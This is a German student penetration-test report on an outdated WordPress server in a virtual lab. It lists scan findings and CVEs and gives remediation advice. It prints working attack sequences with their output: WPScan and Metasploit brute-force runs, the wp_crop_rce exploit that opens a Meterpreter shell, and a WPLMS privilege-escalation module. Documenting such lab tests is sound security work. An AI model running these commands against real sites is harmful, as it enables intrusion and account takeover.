Penetrationstest eines Webservers

HTW Berlin
Frauenstudiengang Informatik und Wirtschaft

Ein Projekt von
Meltem Adigüzel
Natalie Basedow
Jola Meissner
Anne Rettig
Sylwia Szmajduch
Elisabeth Steffen
Neslihan Yilmaz

im Auftrag von

Executive Summary

Die vorliegende Dokumentation beschreibt das Vorgehen, den Ablauf und die Ergebnisse des durchgeführten Penetrationstests auf dem Webserver der Firma Berlino sowie der darauf bereitgestellten Website.

Um die Sicherheit des Webauftritts zu testen, wurden in einem ersten Schritt Informationen zu Sicherheitslücken des Systems mit Hilfe verschiedener Scanner ermittelt. Hierbei wurden insgesamt 31 relevante Sicherheitslücken identifiziert.

Diese Informationen wurden im zweiten Schritt genutzt, um das System anzugreifen und Schadcode auf ihm auszuführen. In dieser Phase war es möglich, die Passwörter der Mitarbeiter:innen auszulesen, die für die Administration und die Pflege des Webauftritts zuständig sind.

Mit Hilfe dieser Informationen konnten vier erfolgreiche Angriffe auf das System ausgeführt werden.

Um die Sicherheit des Webauftritts zu verbessern, werden detaillierte Maßnahmen geliefert. Für eine nachhaltige Verbesserung der IT-Sicherheit empfehlen wir insbesondere:

1. Regelmäßige Updates aller technischen Systeme
2. Die sorgfältige technische Konfiguration des Webservers
3. Die Sensibilisierung der Mitarbeiter:innen für das Thema IT-Sicherheit
4. Regelmäßige Erstellung von Backups firmenrelevanter Daten
5. Die kontinuierliche Durchführung von Testings, um ein nachhaltiges Monitoring und die fortlaufende Verbesserung der Sicherheit des Webauftritts der Firma zu gewährleisten.

Die folgenden Sicherheitslücken wurden mit dem Schweregrad “High” oder “Critical” bewertet, weshalb sie umgehend behoben werden sollten:

Die folgende Abbildung veranschaulicht noch einmal den Ablauf des Penetrationstests:

Abb. 1 : Ablauf des Penetrationstests

Übersicht

1. Einleitung

Der vorliegende Bericht dokumentiert den White-Box-Penetrationstest, der im Auftrag der Firma Berlino auf dem firmeneigenen Webserver ausgeführt wird.
Im technischen Sprachgebrauch versteht man unter einem Penetrationstest den kontrollierten Versuch, von „außen“ in ein bestimmtes Computersystem bzw. -netzwerk einzudringen, um Schwachstellen zu identifizieren. Dazu werden die gleichen bzw. ähnliche Techniken eingesetzt, die auch bei einem realen Angriff verwendet werden. Die hierbei identifizierten Schwachstellen können dann durch entsprechende Maßnahmen behoben werden, bevor diese von unautorisierten Dritten genutzt werden können.

Die Besonderheit beim White-Box-Penetrationstest ist, dass im Gegensatz zum Black-Box-Test Informationen wie Daten und Quellcodes der Dienste zur Verfügung stehen. Diese Informationen betreffen z.B. die Versionsnummer einer Software, Dienstauskünfte (ssh, ftp, smtp, telnet, RPC, imap), Infrastruktur-Design, Detail-Konzepte oder den Quellcode einer Software/Applikation.

1.1 Anforderungen an den Penetrationstest

Der Penetrationstest wird in einer virtuellen Systemumgebung durchgeführt, welche einen Server zur Ausführung von Penetrationstests bietet. In diesem Fall wird das Penetrationstest-Framework Metasploit eingesetzt. Das Metasploit-Framework ist eine Open Source Penetrationstest- und Entwicklungsplattform, welche Exploits beinhaltet, mit denen verschiedenste Sicherheits-und Penetrationstests an Zielsystemen durchgeführt werden können.

In der virtuellen Systemumgebung wird außerdem ein Zielsystem eingerichtet, auf dem ein Webserver läuft. Beide Systeme befinden sich im gleichen Netzwerk. Auf dem Webserver ist eine veraltete Version des Content-Management-System (CMS) WordPress mit einer veralteten Version des Plugins WordPress Database Backup installiert.

Mit Hilfe eines Vulnerability Scanners wird die URL-Adresse des Webservers auf mögliche Sicherheitslücken überprüft. Die gefundenen Sicherheitslücken werden anhand ihrer CVE erfasst. Auf mindestens eine Sicherheitslücke wird ein Exploit angewendet mit dem Ziel, Schadcode auf dem Zielsystem auszuführen und es so zu kompromittieren.

1.2 Ziele des Penetrationstests

Das Projekt ist erfolgreich, wenn diese Ergebnisse der Umsetzung vorliegen:

  1. Sehr gute Umsetzung: Suchen einer Sicherheitslücke und kompromittieren des Systems. Erläuterung eines Vulnerability Scanners, der CVE, eines Exploits und möglicher Schadsoftware. Lösungsvorschlag durch regelmäßige Updates und weiteren technischen Systemen.
  2. Gute Umsetzung: Suchen einer Sicherheitslücke und kompromittieren des Systems. Erläuterung eines Vulnerability Scanners, der CVE und eines Exploits. Lösungsvorschlag durch regelmäßige Updates.
  3. Minimale Umsetzung: Suchen einer Sicherheitslücke eines Webservers mittels verschiedener Tools. Erläuterung eines Vulnerability Scanners und eines Exploits. Lösungsvorschlag durch regelmäßige Updates.

1.3 Ablauf des Penetrationstests

Der Ablauf des Penetrationstests erfolgt in mehreren Phasen:

Die erste Phase dient der Informationsgewinnung . Hier werden mit Hilfe des Portscanners nmap sowie der zwei Vulnerability Scanner Nessus und WPScan Informationen zu den offenen Ports des Systems sowie der zugehörigen Dienste ermittelt. Daraus lassen sich erste Angriffspunkte sowie Sicherheitslücken und sofern vorhanden der zugehörigen CVE identifizieren und erläutern.

In der zweiten Phase werden ausgewählte Sicherheitslücken des Systems getestet: Ausgewählte Schwachstellen werden genutzt, um tatsächliche Angriffe auf das Zielsystem auszuführen. Hierbei wird der Fokus auf der Anwendung WordPress liegen. Mit den Ergebnissen dieser zweiten Phase lässt sich die Analyse der Sicherheitslücken vertiefen und erweitern.

Die Ergebnisse des Testings werden in der vorliegenden Dokumentation vorgestellt und analysiert. In Abschnitt 3 werden die durchgeführten Angriffe beschrieben sowie die jeweiligen Maßnahmen, anhand derer Sie sich gegen die entsprechenden Angriffe schützen können, aufgeführt.

Den Abschluss des Berichts bildet eine Zusammenfassung der Ergebnisse und liefert darüber hinaus einzelne Maßnahmen zu den relevantesten Sicherheitslücken sowie Handlungsempfehlungen für eine dauerhafte Verbesserung der Sicherheit des getesteten Systems.

Ein Glossar, in dem die grundlegenden technischen Fachbegriffe erläutert werden, rundet die Dokumentation ab. Glossarbegriffe sind als Links markiert, über die direkt auf den jeweiligen Glossareintrag zugegriffen werden kann.

2. Informationsgewinnung: Port- und Vulnerability-Scans auf dem Zielsystem

In der ersten Phase werden mit Hilfe des Portscanners nmap sowie der zwei Vulnerability Scanner Nessus und WPScan Informationen zu den offenen Ports des Systems sowie der zugehörigen Dienste ermittelt. Daraus lassen sich erste Angriffspunkte sowie Sicherheitslücken inklusive ihrer CVE identifizieren und erläutern. Sofern möglich werden Maßnahmen zur Behebung dieser Sicherheitslücken empfohlen.

2.1 Technisches Vorgehen

Der erste Portscan auf dem Zielsystem wurde mit dem Tool nmap ausgeführt. Hierbei wurden zwei verschiedene Optionen gewählt: Im ersten Scandurchlauf wurde die Option -sV verwendet, um die offenen Ports sowie die zugehörigen Dienste und ihre Versionen auszulesen. Im zweiten Scandurchlauf wurde die Option -O verwendet, um Informationen über das Betriebssystem des Zielsystems auszulesen.

Mit dem Vulnerability Scanner Nessus wurden ebenfalls zwei Scandurchläufe ausgeführt: Zum einen der Basic Network Scan, zum anderen der Web Application Test.

Der Basic Network Scan mit Nessus lieferte vor allem Informationen über das Betriebssystem, den Gerätetyp des Zielsystems sowie Dienste, die darauf laufen. Hinsichtlich der Sicherheitslücken identifiziert Nessus verschiedene Abstufungen, die sich allgemein in die folgenden Kategorien aufteilen: Info, Low, Medium, High, Critical.

Für den vorliegenden Fall identifiziert der Basic Network Scan 16% der identifizierten Sicherheitslücken als “Medium”, 3% als “Low” und 81% als “Info”. Als “Medium” markiert gilt hier zum Beispiel die Tatsache, dass der Webserver aktuell die HTTP Trace/Track Methode erlaubt, welche dazu führen könnte, dass der Webserver auf einen Trace Request hin dem/der Angreifer:in sensible Informationen zurückgeben könnte. Eine andere als “Medium” geltende Sicherheitslücke ist ein nicht verifiziertes SSL Zertifikat, was seinerseits einen Man-In-The-Middle Angriff begünstigen könnte. Ausführlichere Informationen zu diesen und anderen genannten Sicherheitslücken und wie Sie sich gegen diese schützen können, finden Sie im Abschnitt 4.3.2.

Der Web Application Test scannt vor allem den Webserver. Der Scan stuft hier vier der Sicherheitslücken als “High” oder “Critical” ein. Eine "Medium "Sicherheitslücke ist hier zum Beispiel, dass der Webserver das Durchsuchen bestimmter Verzeichnisse erlaubt (“Browsable Web Directories”), welche sensible Informationen preisgeben oder sogar Zugang zu nicht öffentlichen Bereichen ermöglichen könnte. Auch weitere Sicherheitslücken und die geeigneten Schutzmaßnahmen wird in Abschnitt 4.3.2 weiter eingegangen.

Als nächstes wurde das Tool WPScan auf dem Zielsystem ausgeführt, um genaue Informationen zu der WordPress-Seite und im besten Fall Sicherheitslücken zu finden.

Im ersten Scandurchlauf wurde die Optionen –-enumerate p –wp-plugins-dir wp-content/plugins --plugins-detection aggressive verwendet. Diese geben zusätzlich zu den allgemeinen Informationen zu der WordPress-Seite Auskunft darüber, welche Plugins auf der WordPress-Seite installiert sind inklusive ihrer jeweiligen Versionen. Zusätzlich wurde mit WPScan ein Scan ausgeführt, um die User:innen namen des CMS zu identifizieren.

Da die Scanergebnisse sehr detailliert und umfangreich sind, finden Sie im Folgenden eine zusammenfassende strukturierte Übersicht der Ergebnisse. Einen detaillierten Einblick bietet Ihnen der Anhang dieser Dokumentation.

2.2 Zusammenfassung der Ergebnisse

2.2.1 Allgemeine Informationen zum Zielsystem

Folgende allgemeine Informationen über das Zielsystem ließen sich ermitteln:

Bezeichnung Informationen
FQDN yilmaz-VirtualBox.fritz.box
MAC Adresse 08:00:27:42:4E:2B
Betriebssystem Linux 3.2 - 4.9 (96%)
Webserver Apache-Server 2.4.41

2.2.2 Identifizierte Ports, Dienste und Versionen

Bezüglich der offenen Ports, Dienste und Dienstversionen des Zielsystem ließen sich folgende Informationen ermitteln:

PORT PROTOKOLL STATUS DIENST VERSION
21 tcp open ftp ProFTPD
22 tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80 tcp open http Apache httpd 2.4.41 ((Unix) OpenSSL/1.1.1d PHP/7.3.11 mod_perl/2.0.8-dev Perl/v5.16.3)
443 tcp open ssl/http Apache httpd 2.4.41 ((Unix) OpenSSL/1.1.1d PHP/7.3.11 mod_perl/2.0.8-dev Perl/v5.16.3)
3306 tcp open mysql? n/a

Zum Zeitpunkt des nmap-Scans waren fünf offene Ports auf dem Zielsystem zu identifizieren, die das Protokoll TCP verwenden und denen die Dienste FTP, SSH, HTTP, SSL/HTTP sowie MySQL zugeordnet sind. Zudem lassen sich noch nähere Informationen zu den Versionen der zugehörigen Dienste auslesen:

Auf Port 21 läuft ein ProFTPD-Server, dessen genaue Version allerdings nicht erkennbar ist. Auf Port 22 läuft ein OpenSSH-Service, der darauf schließen lässt, dass es sich bei dem verwendeten Betriebssystem um die Linux-Distribution Ubuntu handelt. Port 80 ist ein Apache-Webserver mit einem OpenSSL-Toolkit. Auch auf Port 443 lauscht ein Apache-Webserver, hier ist allerdings noch eine SSL-Verschlüsselung vorhanden. Zu dem MySQL-Dienst auf Port 3306 lassen sich keine näheren Informationen auslesen. Neben der MAC-Adresse liefert der Scan noch die Information, dass das Zielsystem eine virtuelle Maschine ist, die mit VirtualBox aufgesetzt wurde, sowie die Angabe, dass es sich bei dem Betriebssystem um Linux handelt.

ProFTPD

Da die genaue Version des ProFTPD-Servers nicht bekannt ist, lassen sich keine passenden Exploits zu diesem Dienst finden. Für die ProFTPD-Versionen bis einschließlich Version 1.3.5b ist der mod_copy-Exploit (CVE-2019-12815) bekannt, mit dem unter bestimmten Voraussetzungen das remote-Kopieren von Dateien durch eine/n externe/n Angreifer:in möglich ist. Zur Behebung dieser Sicherheitslücke wurde ein Patch entwickelt, das bei veralteten Version von ProFTPD angewendet werden sollte, um diese Sicherheitslücke zu schließen. Zudem ist zu empfehlen, das mod_copy-Modul in der ProFTPD-Konfigurationsdatei zu deaktivieren.

OpenSSH 7.6p1

Für die OpenSSH-Versionen bis einschließlich 7.8 ist die „username enumeration“-Sicherheitslücke (CVE 2018-15919) bekannt. Dadurch kann ein/e Angreifer:in zwar keinen Zugang zum System erlangen, aber Informationenen über dieses auslesen. Konkret kann ermittelt werden, ob ein Username im System existiert oder nicht. Möglich ist dies, da Anfragen von gültigen bzw. ungültigen Benutzern unterschiedlich beantwortet werden. Zur Behebung dieser Sicherheitslücke empfiehlt sich ein Update auf eine neuere OpenSSH-Version (> 7.8).

Apache httpd 2.4.41

Die Recherche zur vorliegenden Apache-Version ergibt, dass es sich hierbei um ein Release handelt, mit dem zahlreiche Sicherheitslücken behoben werden sollen. Gleiches gilt für OpenSSL-Version 1.1.1d und die PHP-Version 7.3.11. Deshalb kann für diesen Dienst angenommen werden, dass das Zielsystem als relativ sicher zu bezeichnen ist.

MySQL

Da sich zu der SQL-Datenbank keine näheren Informationen auslesen lassen, ist eine präzise Identifikation von Sicherheitslücken hier nicht möglich. Zwar existiert eine ganze Reihe an CVEs für MySQL-Datenbanken, allerdings lassen sich diese im vorliegenden Fall nicht akurat genug bestimmen.

Der Einsatz eines Scanners liefert also bereits erste aussagekräftige Informationen über das Zielsystem. Um die Analyse des Systems vor allem hinsichtlich des CMS Wordpress zu vertiefen, bietet sich der Einsatz des Tools WPScan an.

2.2.3 Allgemeine Informationen zum CMS WordPress

Die Analyse mit WPScan identifziert die WordPress Version 4.3.18 auf dem Zielsystem. Zudem weist das Tool daraufhin, dass diese Version bereits als unsicher erklärt wurde.

Die Version weist insgesamt neun Sicherheitslücken auf. Weitere Informationen, die mit WPScan ermittelt werden können, betreffen verschiedene Dateien, Schnittstellen und Prozesse, die als Sicherheitslücken ausgenutzt werden können:

Als Plugins werden Akismet sowie das WP Database Backup mit der Version 2.1.1 mit einer Wahrscheinlichkeit von 50 % auf der WordPress-Seite identifiziert. Für diese Plugin identifiziert der Scan insgesamt sieben Sicherheitslücken.

Im Zuge des User Detection Scans identifiziert das Tool zudem zwei User:innennamen:

2.2.4 Liste der identifizierten Vulnerabilities des CMS WordPress

Titel CVE
Authenticated Code Execution CVE-2019-8942, CVE-2019-8943
Comment Cross-Site Scripting (XSS) CVE-2019-9787
Stored XSS in Customizer CVE-2019-17674
Cross-Site Scripting (XSS) in URL Sanitisation CVE-2019-16222
Unauthenticated View Private/Draft Posts CVE-2019-17671
Stored XSS in Style Tags CVE-2019-17672
JSON Request Cache Poisoning CVE-2019-17673
Server-Side Request Forgery (SSRF) in URL Validation CVE-2019-17669
Admin Referrer Validation CVE-2019-17675

2.2.5 Liste der identifizierten Vulnerabilities der WordPress Plugins

Titel CVE Plugin
Unauthenticated Stored Cross-Site Scripting (XSS) CVE-2015-9357 Akismet
Authenticated Stored Cross-Site Scripting (XSS) n/a Database Backup
Cross-Site Request Forgery (CSRF) n/a Database Backup
Unauthenticated OS Command Injection n/a Database Backup
XSS CVE-2019-14949 Database Backup
WP Database Backup < 4.3.3 CSRF & XSS CVE-2016-10873, CVE-2016-10874 Database Backup
WP Database Backup < 4.3.1 - CSRF & XSS CVE-2016-10875 Database Backup

Die Auswertung der Scanergebnisse liefert ein erweitertes Bild der potenziellen Schwachstellen des Zielsystems. Diese Informationen bilden die Grundlage für die nächste Phase des Penetrationstests. In dieser Phase werden ausgewählte Sicherheitslücken für tatsächliche Angriffe auf das Zielsystem genutzt.

3. Testing: Angriffe und Exploits zu ausgewählten Sicherheitslücken

3.1 Brute Force Angriff: berlino_author

Ein Brute Force Angriff zielt darauf ab, durch automatisiertes, wahlloses Ausprobieren Passwörter oder Schlüssel zu ermitteln. Hierfür werden oft Listen mit häufig verwendeten Passwörtern eingesetzt, die nacheinander abgearbeitet werden.

Nachdem in der ersten Phase des Penetrationstests die User:innennamen ermittelt werden konnten, wurden nun zwei konkrete Brute Force Angriffe auf das System ausgeführt mit dem Ziel, die Passwörter für die User:innennamen berlino_author und berlino_admin zu ermitteln.

Der Brute Force Angriff auf den User:innennamen berlino_author erfolgte mit dem Tool WPScan:

Input

wpscan --url 192.168.56.101/wordpress --passwords 
/usr/share/wordlists/fasttrack.txt' 
--usernames berlino_author

Output

__          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 3.6.3
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[+] URL: http://192.168.56.101/wordpress/
[+] Started: Fri Dec 13 06:08:20 2019

[+] Performing password attack on Xmlrpc Multicall against 1 user/s
Progress Time: 00:00:00 <==============================================================> (0 / 0) 100.0% Time: 00:00:00
WARNING: Your progress bar is currently at 0 out of 0 and cannot be incremented. In v2.0.0 this will become a ProgressBar::InvalidProgressError.
Progress Time: 00:00:00 <==============================================================> (0 / 0) 100.0% Time: 00:00:00
[SUCCESS] - localhost / 123456                                                                                        
All Found                                                                                                             

[i] Valid Combinations Found:
  Username: berlino_author, **Password: 123456**

3.2 Brute Force Angriff: berlino_admin

Der Brute Force Angriff auf den/die User:in berlino_admin wurde mit dem Metasploit-Framework durchgeführt. Hierbei kam ein Exploit aus der Metasploit-Datenbank zum Einsatz:

Input

msf5 > use auxiliary/scanner/http/wordpress_login_enum
msf5 auxiliary(scanner/http/wordpress_login_enum) > set RHOSTS 192.168.56.101 RHOSTS => 192.168.56.101
msf5 auxiliary(scanner/http/wordpress_login_enum) > set TARGETURI /wordpress TARGETURI => /wordpress
msf5 auxiliary(scanner/http/wordpress_login_enum) > set USERNAME berlino_admin
USERNAME => berlino_admin
msf5 auxiliary(scanner/http/wordpress_login_enum) > set PASS_FILE ~/Desktop/passes
PASS_FILE => ~/Desktop/passes
msf5 auxiliary(scanner/http/wordpress_login_enum) > run

Output

[*] /wordpress - WordPress Version 4.3.18 detected
[*] 192.168.56.101:80 - /wordpress - WordPress User-Enumeration - Running User Enumeration
[*] 192.168.56.101:80 - /wordpress - WordPress User-Validation - Running User Validation
[*] /wordpress - WordPress User-Validation - Checking Username:'berlino_admin'
[+] /wordpress - WordPress User-Validation - Username: 'berlino_admin' - is VALID
[+] /wordpress - WordPress User-Validation - Found 1 valid user
[*] 192.168.56.101:80 - [002/500] - /wordpress - WordPress Brute Force - Running Bruteforce
[*] 192.168.56.101:80 - [002/500] - /wordpress - WordPress Brute Force - Skipping all but 1 valid user
[*] 192.168.56.101:80 - [001/500] - /wordpress - WordPress Brute Force - Trying username:'berlino_admin' with password:'123456'
[+] /wordpress - WordPress Brute Force - SUCCESSFUL login for 'berlino_admin' : '123456'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/wordpress_login_enum) >

Maßnahmen zur Absicherung

Der Verlauf der Brute Force Angriffe zeigt, dass es innerhalb kürzester Zeit möglich war, die Passwörter der User:innen berlino_author und berlino_admin zu ermitteln. Gelangt ein/e Angreifer:in in den Besitz dieser Informationen, kann er/sie damit die Datensicherheit eines Systems hinsichtlich der zentralen Anforderungen Verfügbarkeit, Integrität, Vertraulichkeit und Authentizität kompromittieren. Darüber hinaus ermächtigt dieses Wissen aber auch zu weiterführenden und schwerwiegenden Angriffen. Umso wichtiger ist es also, Brute Force Angriffe zu verhindern oder zumindest deutlich zu erschweren.

Die Standardkonfiguration von Wordpress erlaubt es, die User:innennamen einer Webseite auszulesen, denn Wordpress vertritt zu dieser Frage die Position, dass User:innennamen lediglich der Identifizierung, nicht aber der Verifikation dienen.

Da die Identifzierung von User:innennamen die Voraussetzung für Brute Force Angriffe ist, ist dennoch eine entsprechende Konfiguration von Wordpress zu empfehlen, die dies unterbindet. Dies ist mit nur wenigen Schritten möglich wie etwa der Artikel How to Enumerate WordPress Users with WPScan erläutert.

Darüber hinaus gehen Brute Force Angriffe mit einer hohen Anfragelast einher, die dazu führen kann, dass die angegriffene Seite nicht mehr verfügbar ist. Vor diesem Hintergrund sollte die Anzahl der erlaubten Anmeldeversuche limitiert werden.

Die Passwortlisten, die für Brute Force Angriffe eingesetzt werden, beinhalten häufig verwendete Passwörter. Deshalb sollte darauf geachtet werden, keine Standardpasswörter wie etwa 123456 oder ähnliches zu verwenden.

Neben dem Verzicht auf solche Standardpasswörter ist es außerdem unbedingt ratsam, auf eine ausreichende Komplexität und Länge des verwendeten Passworts zu achten. Damit kann ein Auslesen des Passworts über das Ausprobieren der möglichen Kombinationen des verwendeten Zeichensatzes verhindert bzw. deutlich erschwert werden: Ein Passwort mit 5 Zeichen, für das nur Kleinbuchstaben verwendet werden, kann innerhalb von nur 0,069 Sekunden ermittelt werden. Wird eine Länge von 8 Zeichen gewählt und zudem sowohl Klein- als auch Großbuchstaben verwendet, beträgt die notwendige Zeit bereist 14 und 19 Stunden Tage. Bei einem Passwort mit 8 Stellen, für das Klein- und Großbuchstaben, Ziffern und Sonderzeichen verwendet werden, beträgt die benötigte Zeit ein Jahr, 2 Monate und 12 Tage.

Abb. 2: Vergleich der benötigten Zeit, um ein Passwort auszulesen

Maßnahmen Webadministrator:in

Außerdem gibt es Plugins, die die Anzahl der Anmeldeversuche limitieren. Zum jetzigen Zeitpunkt empfehlen wir das Plugin Jetpack.

Versierte Administrator:innen, die auch über Adminrechte des Servers verfügen finden in den Referenzen noch weitere Möglichkeiten. So lassen sich zum Beispiel die IP-Adressen von bekannten Spammer:innen blockieren.

Maßnahmen Nutzer:innen

Warum und wie Sie sichere Passwörter verwenden sollten, können Sie hier nachlesen. Eine Übersicht, wie Sie gute Passwörter erstellen und behalten können, finden Sie hier.

Referenzen

3.3 Crop Image Shell Upload und Meterpreter

Der Exploit Crop Image Shell Upload ermöglicht es, mit Hilfe des sogenannten Path Traversal und der Local File Inclusion Vulnerability (LFIV), Schadcode auf das Zielsystem zu übertragen und dort auszuführen. Dieser Exploit funktioniert über das Hochladen von kompromittierten Bilddateien. Benötigt werden dafür lediglich der Zugriff und die Rechte des/der Wordpress-Autor:in.

Während Path Traversal dem/der Angreifer:in unautorisierten Zugriff auf das Dateisystem des Webservers ermöglicht, beeinflusst die LFIV die Code-Ausführung der angegriffenen Web-Applikation. Dadurch kann das Tor für eine Remote Code Execution, geöffnet werden, also für das Ausführen von Schadcode auf dem Zielsystem.

Im Rahmen dieses Penetrationstests wurde zu diesem Zweck die Schadsoftware Meterpreter eingesetzt, die dem/der Angreifer:in eine interaktive Shell zur Verfügung stellt, mit der das Zielsystem durchsucht und manipuliert werden kann. Der Meterpreter wird im Arbeitsspeicher des jeweiligen Zielsystems ausgeführt. Dadurch hinterlässt diese Schadsoftware nahezu keine Spuren auf der Festplatte und kann nur sehr schwer entdeckt werden.

Input

msf5 > use exploit/multi/http/wp_crop_rce
msf5 exploit(multi/http/wp_crop_rce) > set password 123456
password => 123456
msf5 exploit(multi/http/wp_crop_rce) > set username berlino_admin
username => berlino_admin
msf5 exploit(multi/http/wp_crop_rce) > set targeturi /wordpress
targeturi => /wordpress
msf5 exploit(multi/http/wp_crop_rce) > set rhosts 192.168.56.103
rhosts => 192.168.56.103
msf5 exploit(multi/http/wp_crop_rce) > set payload 11
msf5 exploit(multi/http/wp_crop_rce) > run

Output

[*] Authenticating with WordPress using berlino_admin:123456...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Attempting to clean up files...
[*] Started bind TCP handler against 192.168.56.103:4444
[*] Sending stage (38247 bytes) to 192.168.56.103
[*] Meterpreter session 8 opened (10.0.2.15:45063 -> 192.168.56.103:4444) at 2020-01-09 08:01:12 -0500

meterpreter >

Maßnahmen zur Absicherung

3.4 WordPress WPLMS Theme Privilege Escalation

Der Exploit WordPress WPLMS Theme Privilege Escalation bewirkt eine Rechteerweiterung für authentifizierte Benutzer:innen und ermöglicht es diesen dadurch, unabhängig von ihrer Rolle Veränderungen am System vorzunehmen. Möglich wird dies durch eine fehlerhafte Implementierung der import_data function in /includes/func.php, die an die Auswahl des WordPress-Themes gekoppelt ist.
Die genannte Funktion überträgt PHP-Code von einer PHP-Datei in eine andere. Der Exploit ändert die in WordPress hinterlegte Admin-Mailadresse um die Benachrichtigung des Admins zu verhindern, ermöglicht die User:innen-Registrierung falls diese zuvor gesperrt wurde und erteilt kurzfristig allen User:innen Adminrechte. Somit kann sich ein/e User:in mit der Rolle “Author” selbst Adminrechte geben.

Input

msf5 auxiliary(admin/http/wp_wplms_privilege_escalation) > show options

Module options (auxiliary/admin/http/wp_wplms_privilege_escalation):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   Password         yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.0.2.15        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /wordpress       yes       The base path to the wordpress application
   USERNAME   admin            yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host
msf5 > use admin/http/wp_wplms_privilege_escalation
msf5 auxiliary(admin/http/wp_wplms_privilege_escalation) > exploit

Output

msf5 auxiliary(admin/http/wp_wplms_privilege_escalation) > exploit
[*] Running module against 10.0.2.15
[*] Authenticating with WordPress using admin:Password...
[+] Authenticated with WordPress
[*] Changing admin e-mail address to FacHS@daZAa.com...
[*] Enabling user registrations...
[*] Setting the default user role...
[+] Privilege escalation complete
[+] Create a new account at /wordpress/wp-login.php?action=register to gain admin access.

Maßnahmen zur Absicherung

4. Zusammenfassung und Ausblick

4.1 Zusammenfassung der Ergebnisse

Der hier dokumentierte Penetrationstest wurde in einer virtuellen Systemumgebung durchgeführt, in der für das angreifende System das Penetrationstest-Framework Metasploit eingesetzt wurde. In der virtuellen Systemumgebung wurde außerdem ein Zielsystem eingerichtet, auf dem ein Webserver läuft, der sich im gleichen Netzwerk mit dem angreifenden System befindet. Auf dem Webserver wurde eine veraltete Version des Content-Management-System (CMS) WordPress mit einer veralteten Version des Plugins Wordpress Database Backup installiert.

Mit Hilfe des Portscanners nmap und der Vulnerability Scanner nessus und WPScan wurden in der Phase der Informationsgewinnung über die IP Adresse des Zielsystems, allgemeine Systeminformationen, sowie Angaben zu vorhandenen Sicherheitslücken des Webservers als auch der Webseite ermittelt. In der Phase der Informationsgewinnung wurden für den Webserver des Zielsystems insgesamt 16 potenzielle Sicherheitslücken mit einer Severity von Medium oder höher identifiziert, wobei sich die identifizierten Vulnerabilities der Scans teilweise überschneiden. Für das CMS WordPress sowie die zugehörigen Plugins wurden insgesamt 15 potenzielle Sicherheitslücken ermittelt. Die identifizierten Sicherheitslücken wurden sofern vorhanden anhand ihrer CVE erfasst und aufgelistet.

Mit Hilfe eines User Enumeration Scans war es möglich, alle User:innennamen auszulesen, die für das CMS WordPress des Zielsystems hinterlegt sind.

Mit diesen Informationen konnnten durch einen Brute Force Angriff innerhalb kürzester Zeit möglich, die Passwörter für den Account berlino_admin sowie berlino_author auszulesen.

Die dabei ermittelten Informationen bildeten die Grundlage dafür, verschiedene Exploits mit Payload auf dem Zielsystem auszuführen, die zum Ziel hatten, Schadcode auf dem Zielsystem zu implementieren und so das System zu kompromittieren.
Mit den folgenden Exploits konnte das Zielsystem erfolgreich angegriffen werden:

Die ausgeführten Exploits wurden erläutert und der Ablauf der Angriffe beschrieben. Zudem wird jeweils mindestens eine Maßnahme zur verbesserten Absicherung des Zielsystems gegen den jeweiligen Angriff geliefert.

Für die identifizierten Sicherheitslücken werden Maßnahmen bereitgestellt. Diese umfassen nicht nur regelmäßige Updates, sondern auch weitere technische Maßnahmen, um das Zielsystem abzusichern.

4.2 Erfüllung der Anforderungen und Ziele

Der hier dokumentierte Penetrationstest erfüllt damit die folgenden, vorab mit dem Auftraggeber vereinbarten Anforderungen und Ziele:

4.2.1 Erfüllung der Anforderungen

4.2.2 Erfüllung der Ziele

4.3 Empfehlungen und Ausblick

Im Folgenden werden Absicherungsmaßnahmen für die identifizierten Sicherheitslücken beschrieben und erläutert. Die Absicherungsmaßnahmen beziehen sich auf das CMS Wordpress inklusive Plugins, den Webserver sowie allgemeine Empfehlungen zur langfristigen und dauerhaften Verbesserung der Sicherheit.

Die Maßnahmen beinhalten soweit vorhandenReferenzen mit weiterführenden Informationen sowie Verweisen auf best practice-Lösungen. Zu Beginn des jeweiligen Abschnitts wird erläutert, von welchem Personenkreis die Sicherungsmaßnahmen umgesetzt werden können.

4.3.1 Empfehlungen zur Absicherung der Website (CMS WordPress sowie zugehörige Plugins)

Der folgende Abschnitt liefert Maßnahmen für die ermittelten Sicherheitslücken des CMS WordPress und der zugehörigen Plugins. Die folgenden Maßnahmen richten sich allesamt an den/die Webadministrator:in von Berlino, welche für die Konfiguration und Pflege der Webseite zuständig ist.

Server-Side Request Forgery (SSRF) in URL Validation

Ein SSRF-Angriff ermöglicht es einem/einer Angreifer:in über HTTP-Request-Smuggling, also einen manipulierten HTTP-Request, Zugriff auf das Zielsystem zu erlangen. Konkret wäre das zum Beispiel die Veränderung der URL-Parameter einer GET-Anfrage der Berlino-Seite an eine beliebige Drittanbieter-Anwendung.
Diese Manipulation durch einen/eine Angreifer:in ist möglich, wenn eingehende HTTP-Anforderungen an einen HTTP-Server nicht ordnungsgemäß verarbeitet werden. Das heißt, HTTP-Request-Smuggling nutzt als Angriffstechnik Fehler die beim Parsing entstehen können, wenn sich ein oder mehrere HTTP-Geräte bzw. -Entitäten (wie z. B. Cache-Server, Proxy-Server oder eine Webanwendungs-Firewall) im Datenfluss zwischen dem/der Benutzer:in und dem Webserver befinden. Mit einer SSRF-Attacke kann die Firewall umgangen und somit auf das private Netzwerk der Webanwendung zugegriffen werden, sensible Serverdateien (wie /etc/passwd) abgerufen und RFI-Angriffe (Remote File Inclusion) durchgeführt werden.

Maßnahme: Update
